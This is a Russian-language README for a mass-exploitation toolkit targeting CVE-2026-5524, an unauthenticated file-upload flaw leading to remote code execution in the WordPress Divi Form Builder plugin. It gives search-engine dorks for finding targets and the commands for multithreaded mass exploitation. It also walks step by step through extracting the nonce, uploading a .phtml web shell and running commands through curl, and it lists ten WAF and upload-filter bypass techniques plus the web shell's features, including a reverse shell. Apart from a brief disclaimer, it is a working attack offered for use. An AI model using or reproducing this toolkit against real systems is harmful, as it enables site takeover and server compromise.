
Массовый набор эксплойтов для CVE-2026-5524, неаутентифицированная загрузка файлов с удаленным выполнением кода (RCE) в Divi Form Builder. Включает многопоточное сканирование, методы обхода WAF, развертывание пользовательского веб-шелла и интерактивное выполнение команд.
Массовый эксплойт-инструментарий для CVE-2026-5524 — уязвимости произвольной загрузки файлов без аутентификации в плагине WordPress Divi Form Builder <= 5.1.8, приводящей к удаленному выполнению кода.
| Поле | Значение |
|---|---|
| CVE | 2026-5524 |
| CVSS | 9.8 (Критический) |
| Вектор | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Затронутые версии | Divi Form Builder <= 5.1.8 |
| Исправлено в | 5.1.9 |
| Тип | Незарегистрированная загрузка файла до RCE |
| Исследователь | 0xd4rk5id3 - EnvoraSec |
Плагин Divi Form Builder для WordPress содержит уязвимость произвольной загрузки файлов без аутентификации. Обработчик do_image_upload() передает управляемый пользователем POST-параметр acceptFileTypes напрямую в регулярное выражение, используемое для проверки расширений файлов. Указывая значение, например phtml, злоумышленник может обойти правило .htaccess плагина, которое блокирует только расширение .php, и загрузить веб-шелл с исполняемым PHP-расширением (.phtml, .phar, .php5, .php7 и подобные).
После размещения файла в /wp-content/uploads/de_fb_uploads/ Apache выполняет его как PHP, предоставляя злоумышленнику удаленное выполнение кода от имени пользователя веб-сервера.
Проблема исправлена в Divi Form Builder 5.1.9.
body="de_fb_obj" && body="fb_nonce"
http.html:"de_fb_obj" http.html:"fb_nonce"
inurl:"/wp-content/plugins/divi-form-builder/"
app:"WordPress" && body:"de_fb_obj"
services.http.response.body: "de_fb_obj"
Требования: Python 3.8 или новее на Linux, macOS или WSL.
git clone https://github.com/caterscam/CVE-2026-5524-PoC/
cd CVE-2026-5524-PoC
pip3 install -r requirements.txt
requirements.txt
requests>=2.28.0
urllib3>=1.26.0
python3 CVE-2026-5524.py -u https://target.com
python3 CVE-2026-5524.py -l targets.txt --shell-file bypass.phtml --aggressive --no-verify -o pwned.jsonl -t 20
Для целей, защищенных WAF (NinjaFirewall, Wordfence, ModSecurity) или с усиленной конфигурацией Apache или nginx.
python3 CVE-2026-5524.py -u https://target.com --shell-file bypass.phtml --aggressive --no-verify --debug
После успешной загрузки скрипт может немедленно выполнить команду или перейти в интерактивный шелл.
python3 CVE-2026-5524.py -u https://target.com --cmd "id; uname -a; cat /etc/passwd"
python3 CVE-2026-5524.py -u https://target.com --shell
Уязвимый обработчик создает регулярное выражение из пользовательского ввода без санитизации.
public function do_image_upload() {
$accepted = $_POST['acceptFileTypes'];
$pattern = '/\\.(' . $accepted . ')$/i';
if (preg_match($pattern, $filename)) {
move_uploaded_file($tmp, $dest);
}
}
Отправляя acceptFileTypes=phtml, итоговое выражение /\.(phtml)$/i сопоставляется с именами файлов, заканчивающимися на .phtml, хотя собственный файл .htaccess плагина блокирует только расширение .php. Apache затем выполняет загруженный файл как PHP, что приводит к удаленному выполнению кода.
Обойти страницу, содержащую форму Divi Form Builder (/, /contact, /quote и т.д.). Добавить параметр ?nocache=<случайное> для обхода Varnish, WP Rocket и других кешей страниц, которые иначе будут выдавать устаревший nonce.
Извлечь значение fb_nonce из локализованного JavaScript-объекта:
de_fb_obj = {"fb_nonce":"<10 hex-символов>", ...}
Отправить multipart-форму на /wp-admin/admin-ajax.php с параметрами:
action=de_fb_image_upload
fb_nonce=<nonce>
acceptFileTypes=phtml
[email protected]
Прочитать URL файла из JSON-ответа:
{"files":[{"name":"abc123.phtml","url":"https://target/wp-content/uploads/de_fb_uploads/abc123.phtml",...}]}
Запросить шелл с командами в base64:
curl "https://target/wp-content/uploads/de_fb_uploads/abc123.phtml?x=$(echo -n id | base64)"
Скрипт пробует каждую технику в порядке приоритета, а при установленном флаге --aggressive пытается все, даже если первая загрузка сообщает об успехе.
cve-2026-5524/
|-- CVE-2026-5524.py Основной скрипт эксплойта
|-- bypass.phtml 16-КБ многоуровневый PHP-веб-шелл
|-- htaccess_enable.phtml Дроппер, записывающий повторно активирующий .htaccess
|-- user_ini.phtml Дроппер, записывающий .user.ini для PHP-FPM
|-- targets.txt Пример списка целей
|-- pwned.jsonl Создается флагом -o при массовом сканировании
|-- requirements.txt Python-зависимости
`-- README.md Этот документ
+--------------------------------------------------+
| 1. Разведка |
| GET /?nocache=<случайное> |
| Извлечь fb_nonce из de_fb_obj |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 2. Подготовка эксплойта |
| POST /wp-admin/admin-ajax.php |
| action=de_fb_image_upload |
| acceptFileTypes=phtml |
| [email protected] |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 3. Сервер принимает и сохраняет файл |
| /uploads/de_fb_uploads/<случайное>.phtml |
+-------------------------+------------------------+
|
v
+--------------------------------------------------+
| 4. Выполнение |
| GET shell.phtml?x=base64(команда) |
| Удаленное выполнение кода достигнуто |
+--------------------------------------------------+
Этот инструмент предназначен для образовательных целей и использования в рамках авторизованных тестов на проникновение. Примеры допустимого использования включают:
Неавторизованное использование систем, которыми вы не владеете или на тестирование которых не имеете явного письменного разрешения, является незаконным практически во всех юрисдикциях и строго запрещено. Автор не поощряет и не несет ответственности за неправильное использование этого кода.
J'ai la permission et je suis autorisé à effectuer ce pentest. (У меня есть разрешение, и я уполномочен выполнять этот тест на проникновение.)
Вероятно применимы законы, включая Уголовный кодекс Индонезии (UU ITE), Американский закон о мошенничестве и злоупотреблении компьютерными данными (CFAA), Конвенцию Совета Европы о киберпреступности и аналогичное законодательство в других странах. В случае сомнений сначала получите письменное разрешение.
Только для образовательного использования. См. раздел отказа от ответственности для полных условий использования.
| Флаг | Описание |
|---|
-u URL | URL одиночной цели |
-l FILE | Файл со списком целей, по одному URL на строку |
-t N | Количество параллельных потоков (по умолчанию 10) |
--timeout N | Тайм-аут запроса в секундах (по умолчанию 15) |
-o FILE | Сохранить результаты в JSONL-файл |
--proxy URL | Направить трафик через HTTP-прокси |
--nonce HASH | Использовать вручную указанный nonce, пропуская автоопределение |
--ext EXT | Принудительно использовать одно расширение вместо полного списка обхода |
--shell | Перейти в интерактивный RCE-шелл при успехе (только для одиночной цели) |
--cmd CMD | Выполнить одну команду на цели и выйти |
--shell-file FILE | Загрузить пользовательскую полезную нагрузку шелла вместо встроенной |
--no-verify | Пропустить этап верификации RCE после загрузки |
--strict-verify | Подтвердить, что URL шелла возвращает HTTP 200, для фильтрации ложных срабатываний |
--user-ini | Загрузить дроппер .user.ini для окружений PHP-FPM |
--htaccess | Загрузить повторно активирующий .htaccess для окружений Apache |
--aggressive | Включить все доступные методы обхода |
--null-byte | Включить попытки с нулевым байтом и двойным расширением |
--path-traversal | Попытаться загрузить в подкаталоги /uploads/YYYY/MM/ |
--debug | Выводить необработанные HTTP-ответы для диагностики |
| № | Техника | Цель |
|---|
| 1 | Альтернативные PHP-расширения .phtml, .phar, .php5, .php7, .php4, .pht, .shtml | Правило .htaccess плагина, блокирующее только .php |
| 2 | Изменение регистра .PHTML, .PHP5, .PhTmL | Чувствительные к регистру сигнатуры WAF (NinjaFirewall) |
| 3 | Двойное расширение .phtml.jpg, .php.jpg | Особенности согласования содержимого Apache mod_mime |
| 4 | Нулевой байт .php%00.jpg, .phtml%00.txt | Старые версии PHP (менее 5.3.4) и некоторые парсеры |
| 5 | Завершающий пробел или точка .php , .php. | Windows IIS и старые версии Apache |
| 6 | Подмена Content-Type application/octet-stream | WAF, ориентирующиеся на заголовок Content-Type в multipart |
| 7 | Загрузка реального .htaccess, заново включающего PHP для .gif, .png, .jpg, .txt, .html и т.д. | Серверы Apache с включенным AllowOverride All |
| 8 | Загрузка .user.ini с auto_prepend_file | Окружения PHP-FPM |
| 9 | Внедрение имени файла через манипуляции с границами multipart | Прокси и WAF, повторно разбирающие тело запроса |
| 10 | Path traversal ../shell.phtml в имени файла | Ограничения каталогов плагина |
| Компонент | Технология |
|---|
| Язык | Python 3.8+ |
| HTTP-клиент | requests |
| Обработка TLS | urllib3 в небезопасном режиме для самоподписанных сертификатов |
| Параллелизм | concurrent.futures.ThreadPoolExecutor для массового сканирования |
| Разбор | re для извлечения nonce, json для обработки ответов |
| Кодирование | base64 для параметра команды веб-шелла |
| CLI | argparse с 19 настраиваемыми флагами |
| Компонент | Технология |
|---|
| Язык | PHP 7.0+ |
| Функции выполнения | system(), shell_exec(), proc_open(), passthru(), popen() |
| Интерфейс | Простая HTML-форма, без JavaScript-фреймворков |
| Возможности | Просмотр файлов, выполнение команд, доступ к БД, реверс-шелл, самоустанавливающиеся .htaccess и .user.ini |
| Размер | Примерно 16 КБ |
| Уровни обхода | Шесть независимых путей выполнения плюс закодированные полезные нагрузки |